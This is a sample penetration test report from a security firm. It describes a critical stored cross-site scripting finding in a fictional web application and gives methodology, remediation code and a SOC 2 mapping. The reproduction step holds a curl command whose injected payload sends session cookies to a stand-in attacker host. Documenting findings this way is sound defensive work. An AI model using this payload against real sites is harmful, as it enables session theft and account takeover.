Penetration Test Report

Sample engagement | Example Co. (Web Application)

CLIENT	Example Co. (sample)
ENGAGEMENT TYPE	Authorized black-box and grey-box penetration test
SCOPE	Web application, authenticated and unauthenticated paths
TESTER	Scalarly Security
REPORT DATE	May 2026
REPORT VERSION	1.0 | Sample
CLASSIFICATION	Confidential | Recipient-only

ABOUT THIS DOCUMENT

This is a sample of the full report Scalarly delivers when a client unlocks the paid tier of the free-pentest engagement. Content is illustrative. The finding uses an OWASP textbook stored-XSS example; the methodology and SOC 2 mapping mirror what we deliver in real engagements. Pricing, names, and infrastructure references are fictional.

Executive summary

Scalarly performed an authorized penetration test of the Example Co. web application over a 10-day engagement window. Testing covered the authenticated user surface, the public marketing surface, and the API tier supporting both. One critical and two high-severity findings were confirmed. All findings have reproduction recipes and remediation guidance in the appendix.

Severity counts

1	2	4	6	3
CRITICAL	HIGH	MEDIUM	LOW	INFO

The critical finding allows an authenticated user to inject persistent JavaScript into a shared comment surface, leading to session theft for every viewer of the affected thread, including administrators. We notified the engineering lead within four hours of confirmation.

Recommended priority order

- Patch the stored-XSS finding (SP-001) before any further release.
- Resolve the broken-access-control finding (SP-002) within the same sprint.
- Schedule the rate-limit hardening (SP-003) into the following sprint.

Scope and methodology

Testing was performed under signed authorization between Scalarly and Example Co., dated the first day of the engagement window. The authorization defined in-scope and out-of-scope assets, the maximum request rate, and the rules for non-destructive testing.

In scope

- https://app.example.com (authenticated user surface, all roles)
- https://api.example.com (REST API, v1 and v2)
- https://www.example.com (marketing surface, including form endpoints)

Out of scope

- Third-party SaaS dependencies (payments, email, analytics).
- Denial-of-service testing. Rate ceiling enforced at 10 requests per second per host.
- Social engineering and physical access.

Methodology

Coverage maps to the OWASP Web Security Testing Guide (WSTG). Each in-scope surface was exercised against the WSTG sections for input validation, authentication, authorization, session management, error handling, cryptography, configuration, and identity management. Automated probes confirmed surface enumeration; manual exploitation confirmed impact.

Finding SP-001 | Stored XSS in comment renderer

CRITICAL CVSS 9.0 CWE-79

ENDPOINT	POST /api/v1/comments	rendered at /app/threads/{id}
AFFECTED ROLES	Every authenticated user with comment-write permission
DISCOVERY DATE	2026-05-26

Description

The comment renderer trusts the body field as HTML when displayed inside the thread view. Any authenticated user can submit a payload that executes JavaScript in the browser of every subsequent viewer of the thread, including administrators. Combined with the session cookie being readable from JavaScript, this trivially escalates to session theft.

Reproduction

```
curl -X POST https://app.example.com/api/v1/comments \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
                              -d               '{"thread_id":42,"body":"<img               src=x
onerror=fetch(\"https://attacker.tld/?c=\"+document.cookie)>"}'
```

Then open /app/threads/42 as any user with read access. The payload fires and exfiltrates the session cookie to attacker.tld.

Blast radius

- Every viewer of the affected thread is exploited on render.
- Admin sessions are stealable because the cookie is not HttpOnly.
- Persisted in the database, so the exploit survives across deploys until removed.

Remediation

Sanitize comment bodies on render, not on write. Treat the body field as untrusted at every render boundary. Use a maintained sanitizer rather than a hand-rolled allow-list.

```
// React render path
import DOMPurify from "dompurify";

<div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(comment.body) }} />

// Defense in depth: set the session cookie HttpOnly and SameSite=Lax
Set-Cookie: session=...; HttpOnly; Secure; SameSite=Lax; Path=/
```

Verification

After remediation, re-submit the proof-of-concept payload and confirm it renders as inert text. The included re-test will execute this verification against staging and production.

Appendix A | SOC 2 control mapping

The mapping below cross-references each finding to the SOC 2 trust criteria it touches. Auditors can use this section as evidence that the application was tested for the specific controls being attested to.

Finding	SOC 2 control	Trust criterion	Status
SP-001	CC7.1	Logging completeness and tamper resistance	Open
SP-002	CC6.1	Logical access controls	Open
SP-003	CC4.1	Monitoring and alerting	Open
SP-004	CC7.4	Incident response readiness	Open
SP-005	CC6.7	Restriction of system access	Acknowledged

OWASP WSTG coverage

- WSTG-INPV: Input validation tested across 14 endpoints.
- WSTG-ATHN, WSTG-ATHZ: Authentication and authorization tested across 6 roles.
- WSTG-SESS: Session management reviewed including cookie attributes and rotation.
- WSTG-ERRH, WSTG-CRYP: Error handling and cryptographic configuration reviewed.
- WSTG-CONF, WSTG-IDNT: Configuration and identity surface enumerated.

Appendix B | Next steps

Once the engineering team has remediated the open findings, Scalarly will perform a re-test of the affected surfaces at no additional cost within 60 days of report delivery. The re-test produces a follow-up attestation suitable for procurement and audit packages.

For OSINT coverage of leaked credentials, exposed cloud assets, and public code repositories, see the OSINT add-on engagement at scalarly.com/pentest.

REQUEST A FREE PENTEST

We run the test at no cost and share the severity counts. If you want the full report with reproduction recipes, remediation guidance, and SOC 2 evidence, you unlock it for a fixed price set before any testing begins. Request a scoping call at scalarly.com/pentest.